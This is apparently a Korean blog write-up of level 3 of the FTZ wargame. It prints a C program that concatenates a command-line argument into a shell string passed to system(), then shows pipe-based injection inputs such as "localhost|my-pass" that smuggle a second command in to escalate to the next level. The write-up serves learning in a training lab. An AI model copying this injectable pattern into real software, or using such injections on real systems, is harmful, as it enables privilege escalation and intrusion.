FTZ level3
argc와 argv에 대해
main함수, 즉 프로그램이 실행할 때 인자를 받는경우 argc는 받는 인자의 개수를 뜻하고, argv는 인자를 가리킨다.
다음 코드는 autodig의 소스이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv){ //argc는 인자의 개수, argv는 인자를 뜻한다 char cmd[100]; if( argc!=2 ) { printf( "Auto Digger Version 0.9\n" ); printf( "Usage : %s host\n", argv[0] ); exit(0); } strcpy( cmd, "dig @" ); strcat( cmd, argv[1] ); strcat( cmd, " version.bind chaos txt"); system( cmd ); } | cs |
이를 이용하여 level4의 권한을 얻어라.
more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
인자가 2개가 아닐경우 프로그램을 바로 종료해버린다.
동시에 여러 인자를 전달하려면 파이프명령어 | (Shift+\) 를 쓰면 된다.
[level3@ftz level2]$ ./autodig localhost|my-pass
Level3 Password is "can you fly?".
? 현재 레벨의 my-pass가 나온다
힌트에 문자열 형태로 명령어를 전달하라고 했으니 ""를 써보자
[level3@ftz level2]$ ./autodig "localhost|my-pass"
'System > FTZ' 카테고리의 다른 글
FTZ level6 (0) | 2015.03.17 |
---|---|
FTZ level5 (0) | 2015.03.17 |
FTZ level4 (0) | 2015.03.17 |
FTZ level2 (0) | 2015.03.17 |
FTZ level1 (0) | 2015.03.17 |